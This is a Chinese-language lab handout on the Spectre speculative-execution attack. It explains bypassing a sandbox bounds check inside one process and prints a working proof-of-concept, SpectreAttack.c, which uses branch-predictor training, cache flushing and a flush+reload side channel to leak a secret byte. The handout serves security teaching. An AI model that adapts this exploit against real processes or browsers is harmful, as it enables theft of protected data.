如前所述,我们可以让 CPU 在 if 语句中的条件为假时去执行条件为真的分支。如果这种乱序执行不产生任何可见效果,则不会出现问题。然而,大多数具有此功能的 CPU 在清理缓存上有问题,因此一些推测性执行留下的痕迹依然存在。Spectre 攻击利用这些痕迹来窃取受保护的秘密。
这些秘密可能是另一个进程中的数据或同一进程中的一部分。如果是另一个进程中的数据,硬件级别的过程隔离将会阻止一个进程从另一个进程窃取数据。如果数据在同一个进程中,则保护措施通常通过软件来实现,例如沙箱机制。Spectre 攻击针对这两种类型的秘密都可以发起攻击,但是,从另一个进程窃取数据远比从同一个进程中更难。为了简化起见,本实验只关注从同一进程中窃取数据。
当浏览器中打开不同服务器的网页时,这些网页通常在同一个进程中打开。浏览器内部实现的沙箱将为这些页面提供隔离环境,因此一个页面无法访问另一个页面的数据。大多数软件保护依赖于条件检查来决定是否应该授予访问权限。利用 Spectre 攻击,即使条件检查失败,我们也可以让 CPU 乱序执行一个受保护的代码分支,从而绕过了访问控制。
1. 实验配置
下图展示了实验的配置。在这一配置中,有两种类型的区域:受限区域和非受限区域。对区域的限制是通过沙箱函数中的 if 条件来实现的。沙箱函数返回 buffer[x] 的值,前提条件是用户提供的 x 值必须在允许的范围之内,也就是非受限区域。当用户想访问受限区域时,该沙箱函数只会返回 0。

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
// 沙箱函数
uint8_t restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else {
return 0;
}
}
受限区域内有一个秘密值(在缓冲区上方或下方),攻击者知道该秘密的地址,但无法直接访问存储秘密值的内存。唯一可以访问秘密的方法是通过上述沙箱函数。从上一节我们了解到,尽管当 x 大于缓冲区大小时真分支永远不会被执行,但是在微架构层面它仍然可以被执行,并且在执行结果被丢弃后会留下一些痕迹。
2. 实验中使用的程序
Spectre 攻击的代码(SpectreAttack.c) 如下所示。在这段代码中,定义了一个秘密值(第 🅰 行)。假设我们不能直接访问 secret,也不能修改 bound_lower 或 bound_upper 变量(但我们假设可以清除这两个边界变量的缓存)。我们的目标是利用 Spectre 攻击打印出秘密值。以下代码仅窃取秘密值的第一个字节。学生们可以扩展它以输出更多字节。
/* SpectreAttack.c */
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
char *secret = "Some Secret Value"; 🅰
uint8_t array[256*4096];
// 沙箱函数
uint8_t restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else { return 0; }
}
void spectreAttack(size_t index_beyond)
{
int i;
uint8_t s;
volatile int z;
// 训练 CPU 使得其在 restrictedAccess() 中预测真分支。
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// 清除缓存中的 bound_upper、bound_lower 和 array[]。
_mm_clflush(&bound_upper);
_mm_clflush(&bound_lower);
for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
for (z = 0; z < 100; z++) { }
s = restrictedAccess(index_beyond); 🅱
array[s*4096 + DELTA] += 88; 🅲
}
int main() {
flushSideChannel();
size_t index_beyond = (size_t)(secret - (char*)buffer); 🅳
printf("secret: %p \n", secret);
printf("buffer: %p \n", buffer);
printf("index of secret (out of bound): %ld \n", index_beyond);
spectreAttack(index_beyond);
reloadSideChannel();
return (0);
}
大部分代码与 SpectreExperiment.c 中的内容相同,因此我们不在这里赘述。最重要的部分是第 🅱、🅲 和 🅳 行。第 🅳 行计算了 secret 从缓冲区起始位置的偏移量(假设攻击者知道 secret 的地址;在实际攻击中,攻击者有许多方法可以推断出该地址,包括猜测)。这个偏移量肯定超出了缓冲区范围,因此它会大于缓冲区的上限或小于下限(即负数)。我们把偏移量传给 restrictedAccess() 函数。由于我们已经训练了 CPU,使其在 restrictedAccess() 中的推测性执行选择真分支,CPU 将在推测性执行中返回 buffer[index_beyond],该值包含了秘密值。这个秘密值随后导致其对应元素的 array[] 被加载到缓存中。所有这些步骤最终都会被撤销,所以从外部来看,restrictedAccess() 仅返回 0 而非秘密值。然而,缓存未被清除,并且 array[s*4096 + DELTA] 仍然保持在缓存中。现在我们只需要使用侧信道技术来确定哪个元素的 array[] 处于缓存中,就可以推测出 s 的值。
3. 任务
请编译并执行 SpectreAttack.c 程序。描述观察结果,注意您是否能够窃取秘密值。如果侧信道噪声很大,每次运行可能会得到不一致的结果。为克服这一问题,请多次运行程序,并查看是否能获取到秘密值。